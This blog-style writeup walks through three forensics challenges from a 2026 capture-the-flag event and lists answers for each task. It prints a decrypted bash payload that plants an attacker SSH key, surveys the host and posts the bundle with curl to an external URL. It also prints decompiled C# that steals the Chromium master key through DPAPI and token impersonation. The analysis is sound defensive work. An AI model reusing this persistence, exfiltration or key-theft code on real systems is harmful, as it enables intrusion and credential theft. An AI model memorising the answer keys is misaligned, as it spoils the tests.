HTB Business CTF 2026: Project Nightfall Forensics Writeups

HTB Business CTF 2026: Project Nightfall Forensics Writeups

May 24, 2026
32 min read

Introduction

The Gilded Ghost

Description

Gabe received a late-night call: the city’s water filtration system had triggered alerts consistent with unauthorized access. When the team reviewed surveillance footage, they spotted a figure moving through the facility—keeping to the shadows, avoiding cameras, and heading straight for an operator workstation. The attacker was in and out within minutes. No tools were left behind at the workstation, no obvious malware was found, and the trail went cold—until the final camera angle caught something odd. As the intruder exited, they tossed a small object into the dumpster behind the building. An intern was voluntold to perform “high-impact evidence recovery” and climbed in to search. They surfaced with a single item: a USB drive. You’ve been provided a disk image of the USB. Determine what was on it and what the attacker intended to do—ASAP.

Walkthrough

Initial triage

This challenge provided a usb.img file, so I started by using the file command to check the file type:

linux@lnux /m/c/U/q/D/H/forensics_the_gilded_ghost> file usb.img
usb.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x10,0,1), end-CHS (0x3ff,3,32), startsector 2048, 129024 sectors

The output indicates that usb.img is a disk image with a DOS/MBR boot sector. It contains one partition (partition 1) with the following details:

  • Partition Type: 0xc (FAT32 with LBA)
  • Start CHS: (0x10,0,1)
  • End CHS: (0x3ff,3,32)
  • Start Sector: 2048
  • Total Sectors: 129024

Next, I loaded the image into Autopsy to analyze the contents of the USB drive.

alt text

Task 1

What filesystem is used in the USB image?

The filesystem used in the USB image is FAT32, as indicated by the partition type (0xc) in the output of the file command. It can also be found in Autopsy under the partition details.

alt text

The answer is FAT32.

Task 2

What is the partition start offset (in sectors) for the filesystem?

The partition start offset for the filesystem is 2048 sectors, as indicated in the output of the file command. It can also be found in Autopsy under the partition details.

The answer is 2048.

Task 3

What file explains how to use the payload?

In the USB image, there is a file named README.txt that explains how to use the payload. It can be found in Autopsy.

alt text

The answer is README.txt.

Task 4

What is the Sleuth Kit metadata address (inode number shown by fls) for the deleted setup.sh file?

Autopsy shows that the setup.sh file is deleted and its metadata address (inode number) is 13.

alt text

The answer is 13.

Task 5

What encryption algorithm is used to protect the payload? (format: ***-***-***)

The contents of setup.sh are as follows:

#!/bin/bash
set -euo pipefail
ENC="payload.enc"
KEY="AllH4!lVANE!!!"
openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt \
  -pass pass:"${KEY}" \
  -in "${ENC}" \
  -out /tmp/stage.sh
bash /tmp/stage.sh

The script takes the payload.enc file and decrypts it using the openssl enc command with the following parameters:

  • -d: Decrypt mode
  • -aes-256-cbc: Encryption algorithm used is AES-256 in CBC mode
  • -pbkdf2: Use PBKDF2 for key derivation
  • -iter 100000: Number of iterations for key derivation
  • -salt: Use a salt for key derivation
  • -pass pass:"${KEY}": The password for decryption is stored in the KEY variable
  • -in "${ENC}": The input file to decrypt is specified in the ENC variable
  • -out /tmp/stage.sh: The output file after decryption is /tmp/stage.sh

The answer is AES-256-CBC.

Task 6

What key/passphrase is used to decrypt the encrypted payload?

The key/passphrase used to decrypt the encrypted payload is in setup.sh.

The answer is AllH4!lVANE!!!.

Task 7

What is the attacker’s SSH public key comment/identity string?

I decrypted the payload.enc file using the key/passphrase found earlier:

linux@linux /m/c/U/q/D/H/forensics_the_gilded_ghost> openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -pass
pass:'AllH4!lVANE!!!' -in payload.enc -out decrypted.sh

The content of the decrypted file decrypted.sh is the following:

#!/bin/bash
set -euo pipefail
 
EXFIL_URL="http://uplink.korvia.gov:8080/api/v1/ingest"
 
GHOST_PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPnCjVpE+SqRDTKLN5IYDYULJGXmAItja5qNt34cma07 D9:GildedWeaver:Ghost'
 
# --- Persistence: add attacker SSH key ---
mkdir -p "${HOME}/.ssh" 2>/dev/null || true
chmod 700 "${HOME}/.ssh" 2>/dev/null || true
 
AUTH_KEYS="${HOME}/.ssh/authorized_keys"
touch "${AUTH_KEYS}" 2>/dev/null || true
chmod 600 "${AUTH_KEYS}" 2>/dev/null || true
 
# Append only if not already present
grep -qxF "${GHOST_PUB}" "${AUTH_KEYS}" 2>/dev/null || echo "${GHOST_PUB}" >> "${AUTH_KEYS}" 2>/dev/null || true
 
# --- Enumeration ---
OUTDIR="/tmp/gw"
mkdir -p "${OUTDIR}"
 
{
  echo "[D9] unit=GildedWeaver operator=Ghost"
  date 2>/dev/null || true
  echo
  echo "[whoami]"
  id 2>/dev/null || true
  echo
  echo "[hostname]"
  hostname 2>/dev/null || true
  echo
  echo "[uname]"
  uname -a 2>/dev/null || true
  echo
  echo "[ip]"
  (ip a || ifconfig) 2>/dev/null || true
  echo
  echo "[routes]"
  (ip route || route -n) 2>/dev/null || true
  echo
  echo "[processes]"
  ps aux 2>/dev/null || true
} > "${OUTDIR}/survey.txt"
 
# Bundle the loot
tar -czf "${OUTDIR}/loot.tar.gz" -C "${OUTDIR}" survey.txt 2>/dev/null || true
 
# --- Exfil ---
if command -v curl >/dev/null 2>&1; then
  curl -sS -m 3 -X POST -F "file=@${OUTDIR}/loot.tar.gz" "${EXFIL_URL}" >/dev/null 2>&1 || true
fi

This script performs the following actions:

  • It defines an exfiltration URL and an SSH public key for the attacker.
  • It ensures the attacker’s SSH key is added to the authorized_keys file for persistence.
  • It collects system information (user, hostname, kernel version, IP addresses, routes, and running processes) and saves it to a file named survey.txt.
  • It bundles the collected information into a tar.gz file named loot.tar.gz.
  • Finally, it attempts to exfiltrate the bundled information to the specified URL using curl.

The attacker’s SSH public key comment/identity string is D9:GildedWeaver:Ghost.

The answer is D9:GildedWeaver:Ghost.

Task 8

What is the full path of the file that was exfiltrated?

From the script, we can see that the exfiltrated file is loot.tar.gz, located in the /tmp/gw directory.

The answer is /tmp/gw/loot.tar.gz.

Task 9

What is the exfiltration destination (full URL path)?

The exfiltration destination is defined in the EXFIL_URL variable in the script.

The answer is http://uplink.korvia.gov:8080/api/v1/ingest.

Questions and Answers

TaskQuestionAnswer
1What filesystem is used in the USB image?FAT32
2What is the partition start offset (in sectors) for the filesystem?2048
3What file explains how to use the payload?README.txt
4What is the Sleuth Kit metadata address (inode number shown by fls) for the deleted setup.sh file?13
5What encryption algorithm is used to protect the payload?AES-256-CBC
6What key/passphrase is used to decrypt the encrypted payload?AllH4!lVANE!!!
7What is the attacker’s SSH public key comment/identity string?D9:GildedWeaver:Ghost
8What is the full path of the file that was exfiltrated?/tmp/gw/loot.tar.gz
9What is the exfiltration destination (full URL path)?http://uplink.korvia.gov:8080/api/v1/ingest

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Payload staged on a USB driveInitial AccessT1200 - Hardware Additions
setup.sh executes the decrypted stage with BashExecutionT1059.004 - Command and Scripting Interpreter: Unix Shell
payload.enc protected with AES-256-CBCDefense EvasionT1027 - Obfuscated Files or Information
Attacker SSH key added to authorized_keysPersistenceT1098.004 - Account Manipulation: SSH Authorized Keys
Host, user, network, route, and process information collectedDiscoveryT1082 - System Information Discovery
Survey output bundled into loot.tar.gzCollectionT1560.001 - Archive Collected Data: Archive via Utility
loot.tar.gz exfiltrated with curl over HTTPExfiltrationT1041 - Exfiltration Over C2 Channel

Trust and Betrayal

Description

Gabe Okoye has flagged a disturbing shift in our systems’ lineage immediately following the deployment of VeldoriaPanel, an application we built internally with security in mind. Although the panel is a trusted service, its installation coincides with the appearance of malicious activity that feels too disciplined to be random. We need you to determine if this internal tool has been nudged to create a silent opening for the adversary. Your mission is to uncover if our own secure development path has been compromised to grant Silas Vane the permanent, quiet access he requires.

Walkthrough

Initial triage

This challenge likely provided a C: drive acquisition of the compromised system, so I loaded the data into Autopsy to analyze the contents of the disk image.

alt text

From there, I found the VeldoriaPanel data in the Documents folder.

alt text

This appears to be a NodeJS application.

alt text

I also ran hayabusa on the logs folder to find any notable events.

alt text

Task 1

What is the filename of the malicious file that executed the first stage of the attack?

Since VeldoriaPanel is a NodeJS application, I looked for JavaScript files that could be malicious. I imported the hayabusa output into Timeline Explorer and searched for .js. I focused on two rule titles: NodeJS Execution of JavaScript File and Proc Exec.

alt text

From the NodeJS Execution of JavaScript File rule, two files stand out: install.js and setup.js. Both appear to be user scripts, unlike npm-prefix.js or npm-cli.js, which are part of the NodeJS application. The timeline also shows that both files executed almost at the same time (+- 12 milliseconds). This narrowed the search down to these two files.

alt text

Next, the Proc Exec rule shows that right after install.js and setup.js executed, the command where powershell ran, followed by the normal NodeJS esbuild process. Finally, a .vbs script was executed from the %TEMP% folder using cscript.exe. This .vbs script is likely the second stage of the attack.

alt text

These two files are the most likely candidates for the malicious file that executed the first stage of the attack. I then checked their contents to determine which one was malicious.

The install.js file does not look malicious; it appears to be a normal installation script. However, setup.js does not appear in the file system acquisition, which means it was likely deleted after execution.

The answer is setup.js.

Task 2

What is the name of the malicious library or package that contained the file identified in the previous question?

As mentioned above, setup.js does not appear in the file system acquisition, which means it was likely deleted after execution. I used the built-in Keyword Search in Autopsy to search for setup.js across the entire disk image.

alt text

alt text

The answer is simple-crypto-js.

Task 3

What is the name of the top-level package that was compromised by pulling in the malicious dependency?

Knowing that the compromised library is simple-crypto-js, I looked for any package that had this library as a dependency by checking the package-lock.json file in the VeldoriaPanel folder.

alt text

The answer is axios.

Task 4

What is the domain name used for data exfiltration or payload retrieval?

In Task 1, I found that a .vbs script was executed from the %TEMP% folder, so I looked more closely at the events around that time. Parsing the Sysmon logs showed several commands related to the .vbs script, including curl.

alt text

From the curl command, I can see that a POST request was made to the attacker domain, and the response was saved to a .ps1 file.

alt text

The answer is rustf.htb:8000.

Task 5

What is the filename of the VBScript used to execute the next stage of the attack?

As seen in the previous question, a .vbs script was executed in the %TEMP% folder using cscript.exe.

The answer is 6202033.vbs.

Task 6

What was the original name of the binary before it was renamed by the attacker to evade detection?

A file called wt.exe was executed. Normally, wt.exe is the Windows Terminal executable, but in this case it is likely a renamed malicious binary because it was executed from ProgramData, which is not the default Windows Terminal folder. Before the .vbs script executed, the attacker also ran where powershell, likely to check whether PowerShell was available on the system, either to use it for the next stage or to copy it to another location for later use. Therefore, the original binary was likely powershell.exe before the attacker renamed it to wt.exe to evade detection.

To confirm this, I parsed the Amcache with AmcacheParser.

alt text

The data for the executable file wt.exe shows that it was a Microsoft Windows OS file, and the version is 10.0.26100.3323, which is a Windows build number.

Using Keyword Search in Autopsy to search for wt.exe also yielded some results.

alt text

The answer is powershell.exe.

Task 7

Based on the initial entry point you identified, what is the MITRE ATT&CK Technique ID for this specific method of compromise? (TXXXX.YYY)

The initial entry point of the attack is the execution of setup.js, a malicious JavaScript file executed using NodeJS. The script belongs to the simple-crypto-js library, which is a dependency of the axios package. This method of compromise is known as “Supply Chain Compromise”, where the attacker compromises a third-party library or package used by the target application to gain access to the target system.

alt text

According to the MITRE ATT&CK framework, the technique ID for “Supply Chain Compromise” is T1195, and the sub-technique for Compromise Software Dependencies and Development Tools is T1195.001.

The answer is T1195.001.

Task 8

What is the registry key (including the hive) that was modified to establish persistence for the malicious binary? (HKLM....)

In the Sysmon logs, grouping by Map Description allowed me to see the entries for RegistryEvent (Value Set), which indicate that a registry key was modified.

alt text

Filtering for wt.exe, I can see that it set the value C:\ProgramData\system.bat for a registry key named MicrosoftUpdate in HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate. This registry key is commonly used for persistence because it allows the specified program to run every time the system starts.

The answer is HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate.

Questions and Answers

TaskQuestionAnswer
1What is the filename of the malicious file that executed the first stage of the attack?setup.js
2What is the name of the malicious library or package that contained the file identified in the previous question?simple-crypto-js
3What is the name of the top-level package that was compromised by pulling in the malicious dependency?axios
4What is the domain name used for data exfiltration or payload retrieval?rustf.htb:8000
5What is the filename of the VBScript used to execute the next stage of the attack?6202033.vbs
6What was the original name of the binary before it was renamed by the attacker to evade detection?powershell.exe
7Based on the initial entry point you identified, what is the MITRE ATT&CK Technique ID for this specific method of compromise?T1195.001
8What is the registry key (including the hive) that was modified to establish persistence for the malicious binary?HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Malicious dependency pulled through the NodeJS package chainInitial AccessT1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Malicious setup.js executed through NodeJSExecutionT1059.007 - Command and Scripting Interpreter: JavaScript
6202033.vbs executed with cscript.exeExecutionT1059.005 - Command and Scripting Interpreter: Visual Basic
Payload retrieved from rustf.htb:8000 with curlCommand and ControlT1105 - Ingress Tool Transfer
powershell.exe renamed to wt.exe in ProgramDataDefense EvasionT1036.003 - Masquerading: Rename System Utilities
MicrosoftUpdate value written under the user’s Run keyPersistenceT1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

COMfortable Exfiltration

Description

Gabe Okoye launched a forensic investigation after unnatural startup lockups plagued the National Election Commission’s logistics servers. Initially dismissed as hardware failure amid the cyber-terror smokescreen, Gabe uncovered a sophisticated Directorate 9 intrusion. Gilded Weaver operators weaponized the boot process, embedding a covert service that spawns an advanced credential stealer into memory before the OS initializes. This implant intentionally interferes with drive encryption protocols, causing localized volume mounting issues to mask the exfiltration of master decryption keys. Vane’s forces are using these encrypting drive failures as chaotic cover to secure permanent access before the election. You have been provided with a forensic capture of the compromised boot sequence. Dissect the covert service, recover the stolen keys, and neutralize the persistence mechanism before the infrastructure cascade is irreversible.

Walkthrough

Initial triage

The challenge provided two .ad1 files and a memory dump. The .ad1 format is a custom file format used by AccessData to store forensic images, so Autopsy cannot read it directly. The only tool I could use to read it was FTK Imager.

User.ad1 returned a user named thome.

User.ad2 was also from thome.

alt text

I parsed the memory dump with MemProcFS.

alt text

There was not much to check at this point. Using FTK Imager is inconvenient because it does not let me import the image into Autopsy, so I had to manually export files from the image before analyzing them.

Task 1

There is an installed service disguised as a Microsoft component. What is the full path of the executable?

To find the installed services, I had to look at the memory dump because services are stored in the HKLM\SYSTEM registry hive. That registry hive is not included in the .ad1 images because they only contain user folders. Using MemProcFS to navigate to \registry\HKLM\SYSTEM\ControlSet001\Services showed the list of installed services.

alt text

Finding the answer manually would take a lot of time, so I asked Claude Code to identify the service that was not a legitimate Microsoft component. The service that stood out was Microsoft Update, since the legitimate Windows Update service is wuauserv. This is likely the malicious service installed by the attacker.

alt text

Checking its path revealed the following:

alt text

No updater component should be installed in the %TEMP% folder, so this is likely the malicious service installed by the attacker.

The answer is C:\Temp\Microsoft Cache\updater.exe.

Task 2

The injector shadows an object into the HKCU registry. Using its CLSID, what is the name of the object?
Explanation - COM Objects and COM Hijacking

COM (Component Object Model): A Microsoft technology that allows software components to communicate with each other. COM objects are identified by a unique CLSID (Class ID) and can be used for various purposes, including persistence mechanisms for malware.

COM hijacking: A technique where an attacker creates a malicious COM object and registers it in the Windows Registry under the HKCU (HKEY_CURRENT_USER) hive. This allows the attacker to execute their malicious code when the legitimate application tries to access the COM object, effectively hijacking the application’s functionality for malicious purposes.

The malware injects itself into a process by shadowing an object into the HKCU registry. To find the CLSID of the shadowed object, I checked the memory dump again and navigated to \registry\HKCU\Software\Classes\CLSID to look for any suspicious CLSID. However, there was nothing obvious there.

alt text

It seemed that MemProcFS was not showing the full HKCU registry hive, so I had to use the registry hive from the image: the UsrClass.dat file.

Explanation - UsrClass.dat

UsrClass.dat is a registry hive file that contains user-specific settings and configurations for the Windows operating system. It is part of the Windows Registry, which is a hierarchical database that stores low-level settings for the operating system and for applications that opt to use the registry. The UsrClass.dat file specifically contains information related to user classes, which are used to define the behavior of certain types of objects in the Windows environment, such as file associations, COM objects, and other user-specific settings. By analyzing the UsrClass.dat file, forensic investigators can uncover evidence of malicious activity, such as shadowed objects or injected code that may be used for persistence or other nefarious purposes.

However, UsrClass.dat did not show any suspicious CLSID either, so I pivoted to using Volatility to analyze the memory dump and search for suspicious CLSIDs in the HKCU registry hive.

First, I used the windows.registry.printkey plugin to print the registry key Software\Classes\CLSID.

PS <REDACTED> > vol -f .\mem.elf windows.registry.printkey --key "Software\Classes\CLSID"
Volatility 3 Framework 2.28.0
Progress:  100.00               PDB scanning finished
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile
 
-       0xa58c8c2dd000  Key     [NONAME]\Software\Classes\CLSID -       -       -
-       0xa58c8c28c000  Key     \REGISTRY\MACHINE\SYSTEM\Software\Classes\CLSID -       -       -
-       0xa58c8c36a000  Key     \REGISTRY\MACHINE\HARDWARE\Software\Classes\CLSID       -       -       -
-       0xa58c8c97c000  Key     \SystemRoot\System32\Config\SECURITY\Software\Classes\CLSID     -       -       -
-       0xa58c8c981000  Key     \SystemRoot\System32\Config\SOFTWARE\Software\Classes\CLSID     -       -       -
2026-05-09 22:23:58.000000 UTC  0xa58c8c97f000  Key     \SystemRoot\System32\Config\DEFAULT\Software\Classes\CLSID      {00000566-0000-0010-8000-00AA006D2EA4}  N/A     False
-       0xa58c8c98b000  Key     \SystemRoot\System32\Config\SAM\Software\Classes\CLSID  -       -       -
-       0xa58c8fd03000  Key     \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD\Software\Classes\CLSID   -       -       -
-       0xa58c91106000  Key     \??\C:\WINDOWS\ServiceProfiles\NetworkService\NTUSER.DAT\Software\Classes\CLSID -       -       -
-       0xa58c9154f000  Key     \SystemRoot\System32\Config\BBI\Software\Classes\CLSID  -       -       -
-       0xa58c9128d000  Key     \??\C:\WINDOWS\ServiceProfiles\LocalService\NTUSER.DAT\Software\Classes\CLSID   -       -       -
-       0xa58c91d09000  Key     \SystemRoot\System32\config\DRIVERS\Software\Classes\CLSID      -       -       -
-       0xa58c93314000  Key     \??\C:\WINDOWS\AppCompat\Programs\Amcache.hve\Software\Classes\CLSID    -       -       -
-       0xa58c929f1000  Key     \??\C:\Users\m.thorne\ntuser.dat\Software\Classes\CLSID -       -       -
-       0xa58c92ac1000  Key     \??\C:\Users\m.thorne\AppData\Local\Microsoft\Windows\UsrClass.dat\Software\Classes\CLSID       -       -       -
-       0xa58c93614000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2602.17001.0_x64__8wekyb3d8bbwe\ActivationStore.dat\Software\Classes\CLSID  -       -       -
-       0xa58c937be000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CoreAI_1000.26100.8246.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID      --       -
-       0xa58c9379e000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID        --       -
-       0xa58c937ed000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.40.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID  -       --
-       0xa58c937ea000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID        --       -
-       0xa58c937f5000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.86.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID  -       --
-       0xa58c93814000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.297.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID  -       --
-       0xa58c938ea000  Key     \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b.dat\Software\Classes\CLSID      -       -       -
-       0xa58c93940000  Key     \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b_COM15.dat\Software\Classes\CLSID        -       -       -
-       0xa58c93943000  Key     \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b.dat\Software\Classes\CLSID      -       -       -
-       0xa58c93bf7000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID   -       -       -
-       0xa58c93b06000  Key     \??\C:\Users\m.thorne\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat\Software\Classes\CLSID     -       -       -
-       0xa58c93d38000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.CBS.1.6_6000.708.357.100_x64__8wekyb3d8bbwe\ActivationStore.dat\Software\Classes\CLSID  --       -
-       0xa58c93e44000  Key     \??\C:\Users\m.thorne\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat\Software\Classes\CLSID       -       -       -
-       0xa58c94ec7000  Key     \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.26032.83.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID     -       --

The important part is \??\C:\Users\m.thorne\AppData\Local\Microsoft\Windows\UsrClass.dat\Software\Classes\CLSID, so I continued filtering for that. I used the same plugin with --offset 0xa58c92ac1000 to specify the offset of the UsrClass.dat registry hive and output the results to a file.

PS <REDACTED> > vol -f .\mem.elf windows.registry.printkey --offset 0xa58c92ac1000 --recurse > extraction.txt

Next, I searched for CLSID in extraction.txt to find the information needed.

alt text

Looking at the output directly did not reveal the answer. I noticed that three entries from the same CLSID had the InprocServer32 subkey, which is commonly used for COM hijacking, so I focused on those entries.

alt text

Explanation - InprocServer32

InprocServer32 is a registry key used by Component Object Model (COM) objects to specify the path to the DLL that implements the object. In the context of malware analysis, this key is often exploited for persistence by replacing the legitimate DLL path with a malicious one. This allows the malware to execute its code when the COM object is instantiated. For example, if a legitimate COM object is registered with an InprocServer32 key pointing to a system DLL, an attacker can modify this key to point to a malicious DLL that they have created. When the system or an application tries to use the COM object, it will load the malicious DLL instead of the legitimate one, allowing the attacker to execute their code with the privileges of the process that is using the COM object.

The InprocServer32 subkey contains the path to the malicious DLL used for persistence. The CLSID of the shadowed object is {00000566-0000-0010-8000-00AA006D2EA4}. Next, I needed to find the name of the object associated with this CLSID.

alt text

alt text

The answer is ADODB.Stream.

Task 3

Following its self-duplication, the malware drops a secondary file onto the system. What is the filename of this secondary file?

The malware found in Task 1 is updater.exe, located at C:\Temp\Microsoft Cache\updater.exe. To determine which secondary file was dropped by the malware, I analyzed the malware’s behavior.

alt text

alt text

Looking at the malware’s main function, it drops a file named kathcjaz.quh in C:\ProgramData\WindowsSupport\Packages\Drivers.

The answer is kathcjaz.quh.

Task 4

What is the (C#) Class Name and the corresponding CLSID that's exposed to the COM API (Name:{GUID})?

The question hinted that the second malicious file is a C# file, so I analyzed kathcjaz.quh with dnSpy to inspect its contents.

alt text

alt text

The GrumpyFisherman class has the ComVisible attribute, which means it is exposed to the COM API. The CLSID of this class is b3ccd9d8-ffec-4de0-8005-185a6364cedb.

The answer is GrumpyFisherman:{b3ccd9d8-ffec-4de0-8005-185a6364cedb}.

Task 5

What is the CLSID responsible for calling the .NET function that installs the malicious service? ({GUID})

The GrumpyFisherman class is responsible for installing the malicious service, so I had to find the CLSID that contains GrumpyFisherman in the subkey. Finding it manually would take a lot of time, so I searched for the string GrumpyFisherman in the memory dump.

alt text

Many entries appeared with the same structure in the registry hive.

  • {4785f458-4230-48a1-b813-b16094c16acc}
  • {0128ad20-af37-4421-851c-5c06de5c2b2c}
  • {9133cefd-fe20-47f5-85f0-d560b6e740c5}

The answer is {0128ad20-af37-4421-851c-5c06de5c2b2c}.

Task 6

One of the .NET code's functions disables BitLocker protection. Which __WINDOWS_CLSID is responsible for that? ({GUID})

In kathcjaz.quh, there is a class called FveUi, which is a COM object used to interact with BitLocker Drive Encryption in Windows. The malware calls the method ((IFveUiDispatch)new FveUi()).DoTurnOffDeviceEncryption(); through IFveUiDispatch.

alt text

alt text

alt text

The answer is {A7A63E5C-3877-4840-8727-C1EA9D7A4D50}.

Task 7

What is the complete exfiltration URL without the key? (http[s]://URL:PORT/PATH/)

In the GrumpyFisherman class, there is a method called GetChromiumKeyDirect.

public byte[] GetChromiumKeyDirect()
	{
		byte[] result;
		try
		{
			string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ?60?.?61?("IŴɴͨѰխٺ݊ࡀ१੶ୠఱൔ๮ེၬᅐቇ፥ᑪᕩᙫᜦᡖᥰᩢ᭶ᱤ"));
			if (!File.Exists(text))
			{
				throw new FileNotFoundException(?60?.?61?("SűɾͽѷԺيݬࡶॢੰ଴౵ൻ๽ཱུုᅠቢ፸ᐫᕬᙦ᝽ᡩᥢᨥ᭥ᱷᴸḡ") + text);
			}
			string tempFileName = Path.GetTempFileName();
			File.Copy(text, tempFileName, true);
			string text2 = File.ReadAllText(tempFileName);
			File.Delete(tempFileName);
			string text3 = ?60?.?61?("3ŵɡͭѿյٻݾ࡬६੘୭ౠൽม༸ဣ");
			int num = text2.IndexOf(text3) + text3.Length;
			int num2 = text2.IndexOf(?60?.?61?("#"), num);
			byte[] array = Convert.FromBase64String(text2.Substring(num, num2 - num));
			byte[] array2 = new byte[array.Length - 5];
			Array.Copy(array, 5, array2, 0, array2.Length);
			result = ProtectedData.Unprotect(array2, null, DataProtectionScope.CurrentUser);
		}
		catch (Exception)
		{
			result = null;
		}
		return result;
	}

There are some obfuscated strings in the code, so I decoded them using the available information about the decoding function ?61?.

alt text

A Python script that mimics the decoding function can decode the obfuscated strings.

def dec(s):
    l = len(s)
    out = []
 
    for i, c in enumerate(s):
        oc = ord(c)
        b = (oc & 0xff) ^ (l - i)
        b2 = ((oc >> 8) & 0xff) ^ i
        out.append(chr((b2 << 8) | b))
 
    return ''.join(out)
 
print(dec("PASTE_STRING_HERE"))

Using the script above, I decrypted the obfuscated strings in the code as follows:

alt text

This function retrieves the Chromium encryption key from Local State. It builds a path to the Local State file, copies it if it exists, reads the contents, extracts the key, removes the DPAPI prefix, and then unprotects it using the CryptUnprotectData() function. The result is the raw Chromium AES master key, which can be used to decrypt Chromium data.

Next, a method called HyperAlan also contains obfuscated strings.

public int HyperAlan(string ?46?)
	{
		IntPtr zero = IntPtr.Zero;
		IntPtr zero2 = IntPtr.Zero;
		int result = -1;
		string ?43? = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ?60?.?61?("pŋɍ͓щժٳ݁ࡉ२੿୫స൓๷ཡၵᅏቖ፴ᑶᕮᙻᝡᡸᥗᩆ᭦ᱯᵮṨἥ⁀Ⅲ≶⍠"));
		try
		{
			Process[] processesByName = Process.GetProcessesByName(?46?);
			if (processesByName.Length == 0)
			{
				throw new Exception(?60?.?61?("Bţɿͬѫվٿܫࡤ०੼ଧౠ൪๱཭ၦᄯ"));
			}
			if (!GrumpyFisherman.?6?(processesByName[0].Handle, 10U, out zero))
			{
				throw new Exception(?60?.?61?("[ŽɲͶѼռطݢࡺऴ੼ୢ౴ൾฯཾၿᅣቨ፯ᑺᕻᘧᝲᡪ᥯ᩦ᭬ᰯ"));
			}
			if (!GrumpyFisherman.?7?(zero, 33554432U, IntPtr.Zero, 2, 2, out zero2))
			{
				throw new Exception(?60?.?61?("\\Ÿɱͻѳձشݧࡽऱੴ୺౾ൡ๥ཨၫᅽቭጧᑲᕪᙯᝦᡬ᤯"));
			}
			if (GrumpyFisherman.?8?(zero2))
			{
				string ?44? = BitConverter.ToString(this.GetChromiumKeyDirect()).Replace(?60?.?61?(","), ?60?.?61?(""));
				this.?11?(?43?, ?44?).Wait();
				GrumpyFisherman.?9?();
				result = 0;
			}
		}
		finally
		{
			if (zero != IntPtr.Zero)
			{
				GrumpyFisherman.?10?(zero);
			}
			if (zero2 != IntPtr.Zero)
			{
				GrumpyFisherman.?10?(zero2);
			}
		}
		return result;
	}

I used the same method to decode the obfuscated strings in the HyperAlan method.

alt text

This function is used to steal the key and exfiltrate it to the attacker’s server. First, it checks for browser processes such as chrome, edge, and thorium. Then it steals the security token of the browser process, uses the token to impersonate the user, and calls the GetChromiumKeyDirect() method to retrieve the raw Chromium AES master key. This is necessary because GetChromiumKeyDirect() uses the CryptUnprotectData() function to unprotect the key, which requires the user’s context. Therefore, the malware needs to impersonate the user running the browser process to retrieve the key. Finally, it exfiltrates the key to the attacker’s server using an HTTP request in the ?11? method.

Next, I checked the ?11? method to find the exfiltration URL.

// GrumpyFisherman
// Token: 0x0600000F RID: 15 RVA: 0x00002274 File Offset: 0x00000474
private Task ?11?(string ?43?, string ?44?)
{
	GrumpyFisherman.?1? ?1?;
	?1?.<>t__builder = AsyncTaskMethodBuilder.Create();
	?1?.<>4__this = this;
	?1?.filePath = ?43?;
	?1?.endpoint = ?44?;
	?1?.<>1__state = -1;
	?1?.<>t__builder.Start<GrumpyFisherman.?1?>(ref ?1?);
	return ?1?.<>t__builder.Task;
}

